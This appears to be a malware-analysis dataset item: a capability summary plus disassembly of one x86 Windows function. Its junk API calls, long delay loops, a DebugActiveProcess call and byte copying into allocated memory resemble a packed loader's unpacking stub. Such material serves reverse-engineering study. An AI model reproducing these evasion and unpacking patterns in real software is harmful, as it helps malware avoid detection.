Function at 0x471faf
Capabilities:
Accept command line arguments
Connect pipe
Create directory
Get hostname
Identify system language via api
Manipulate console buffer
Query environment variable
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x108c
call fcn.00405b10
mov eax, dword [0x479004]
xor eax, esp
mov dword [esp + 0x1088], eax
push ebx
push esi
xor esi, esi
push edi
xor eax, eax
cmp eax, 0x112
jne 0x471fed
mov ecx, dword [0x47a2fc]
add ecx, 0x9e49
mov dword [0x47cb1c], ecx
cmp dword [0x47cb1c], 0xe89
jne 0x47200a
or dword [0x47b31c], 0xffffffff
mov dword [0x47b318], 0xec58acac
inc eax
cmp eax, 0x1238006
jl 0x471fd4
xor edi, edi
cmp edi, 0x55ded1
jne 0x472026
mov eax, dword [0x47a2f0]
mov dword [0x47cc4c], eax
cmp dword [0x47cb1c], 0x3c
jne 0x472035
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
inc edi
cmp edi, 0x5ea53c
jl 0x472014
cmp dword [0x47cb1c], 0x7c
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
jne 0x47215f
push esi
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomW]
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x494]
push eax
push esi
push str.Zuni_pibaxazob_late_radamijun
push str.Lurovegayuk_jir_mohegozixe
push str.Nikovimud_jijuza_zatizenod
call dword [sym.imp.KERNEL32.dll_SearchPathA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push 0x2e
lea eax, [esp + 0x64]
push esi
push eax
mov dword [esp + 0x68], esi
call fcn.00404970
add esp, 0xc
push esi
lea eax, [esp + 0x60]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigW]
lea eax, [esp + 0x890]
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor eax, eax
mov word [esp + 0x10], ax
lea edi, [esp + 0x12]
stosw word es:[edi], ax
mov word [esp + 0x14], ax
lea edi, [esp + 0x16]
stosw word es:[edi], ax
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x18]
lea eax, [esp + 0x20]
push dword [esp + 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
push esi
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
lea eax, [esp + 0x94]
push eax
push esi
call edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
cmp dword [0x47cb1c], 0x2d
jne 0x47213c
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
cmp dword [0x47cb1c], 0x54
jne 0x472151
push esi
push esi
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
call fcn.004010dd
pop ecx
push esi
call fcn.004010f3
pop ecx
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimes]
cmp edi, 0x24c06
jg 0x47218f
inc edi
cmp edi, 0xeff11
jl 0x472161
jmp 0x4721a3
cmp dword [0x47cb1c], 0xa
jne 0x4721a3
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
cmp dword [0x47cb1c], 0x2a
jne 0x4721fd
push esi
mov dword [0x47cb10], esi
mov dword [0x47cb14], esi
call ebx
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CallNamedPipeW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
push esi
call fcn.00401049
pop ecx
push esi
call fcn.00401049
pop ecx
push esi
call fcn.0040100f
pop ecx
push esi
push esi
push esi
push esi
call fcn.00401463
push esi
call fcn.00401221
add esp, 0x14
push dword [0x47cb1c]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [0x47cb1c]
xor edi, edi
mov dword [0x47c968], eax
cmp ecx, esi
jbe 0x472242
mov edx, dword [0x47cc4c]
mov dl, byte [edx + edi + 0x9e49]
mov byte [eax + edi], dl
cmp ecx, 0x5ab
jne 0x47223d
mov dword [0x47c96c], 0x19b0
inc edi
cmp edi, ecx
jb 0x47221b
call fcn.00471de6
call fcn.00471dc8
call fcn.00471f1e
xor edi, edi
cmp dword [0x47cb1c], 0x41
jne 0x472272
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
push esi
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp edi, 0xd606b
jne 0x47227f
call fcn.00471dbd
cmp dword [0x47cb1c], 0xc
jne 0x472293
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
inc edi
cmp edi, 0x24e87d
jl 0x472253
mov dword [0x47cb0c], 0x8e46a6f0
cmp esi, 0x408e
jle 0x4722b8
cmp dword [esp + 0x3c], 0xf5bed7
jne 0x4722c1
inc esi
cmp esi, 0x687ed2
jl 0x4722a6
mov ecx, dword [esp + 0x1094]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret